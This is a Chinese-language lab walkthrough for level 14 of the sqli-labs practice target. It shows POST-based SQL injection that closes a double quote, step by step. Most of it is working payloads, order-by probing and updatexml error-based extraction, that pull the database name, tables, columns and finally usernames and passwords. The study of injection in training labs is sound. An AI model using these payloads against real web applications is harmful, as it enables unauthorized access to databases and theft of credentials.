sqli-labs关卡14(基于post提交的双引号闭合的报错注入)通关思路

文章目录


前言

此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!


`

一、回顾上一关知识点

上一关是典型的布尔盲注或可以报错盲注。

二、靶场第十四关通关思路

  • 1、判断注入点
  • 2、爆显位
  • 3、爆数据库名
  • 4、爆数据库表
  • 5、爆数据库列
  • 6、爆数据库关键信息

1、判断注入点

老规矩还是使用万能语句1 or 1=1 和 1 or 1=2发现页面正常,所以排除数字型。输入1'发现并没有报错说明可能是和双引号闭合有关,再输入1"发现报错,报错信息为

You have an error in your SQL syntax; check the manual that

corresponds to your MySQL server version for the right syntax to use

near '"1"" and password="" LIMIT 0,1' at line 1

通过报错信息可以知道是双引号闭合。我们构造payload

sql 复制代码
1" or 1=1#
sql 复制代码
1" or 1=2#

发现1=1页面正常,1=2页面异常

细心发现页面正常和异常只会出现提示successfully或failed。就像布尔盲注的ture或false。并没有回显内容。这里明显可以用布尔或者是报错盲注。这里我就用报错注入了,比较简单。

2、爆显位

注入语句为

sql 复制代码
1" order by 3#

发现3报错,说明有2个显位。

3、爆数据库名

注入语句为

sql 复制代码
1" or updatexml(1,concat(0x3a,(select database()),0x3a),1)#

得到数据库名

4、爆数据库表

注入语句为

sql 复制代码
1" or updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a),1)#

得到关键数据库表名users

5、爆数据库列

注入语句为

sql 复制代码
1" or updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1)#
sql 复制代码
1" or updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1)#


得到关键数据库列username,password

6、爆数据库关键信息

注入语句为

sql 复制代码
1" or updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1)#
sql 复制代码
1" or updatexml(1,concat(0x3a,(select username from users limit 0,1),0x3a),1)#


得到关键账号密码


总结

这一关用的是报错注入,布尔盲注也适用。如果不懂报错注入流程可以看我的文章第五关解析。此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!

相关推荐
轻舟行79 分钟前
常见的网站文件后缀名
web安全·网络安全
xixixi777771 小时前
水坑攻击的攻击原理和特点+案例和防御方法
网络·安全·web安全
敲代码的嘎仔1 小时前
JavaWeb零基础学习Day6——JDBC
java·开发语言·sql·学习·spring·单元测试·maven
哥哥还在IT中3 小时前
让数据库更智能-大模型如何优化我们的SQL查询
数据库·sql
携欢3 小时前
PortSwigger靶场之盲 SSRF(服务器端请求伪造)漏洞通关秘籍
前端·网络·安全·web安全
Hello.Reader6 小时前
Flink Table API & SQL 概念、常用 API 与工程落地
大数据·sql·flink
网安小白的进阶之路9 小时前
A模块 系统与网络安全 第四门课 弹性交换网络-4
网络·web安全·php
落一落,掉一掉9 小时前
第十五周Fscan和利用漏洞上线远程和数据库提权上线远控
安全·web安全
九河云15 小时前
数字化转型中的网络安全风险与零信任架构实践
运维·科技·安全·web安全·架构
jenchoi41321 小时前
【2025-11-02】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
安全·web安全·网络安全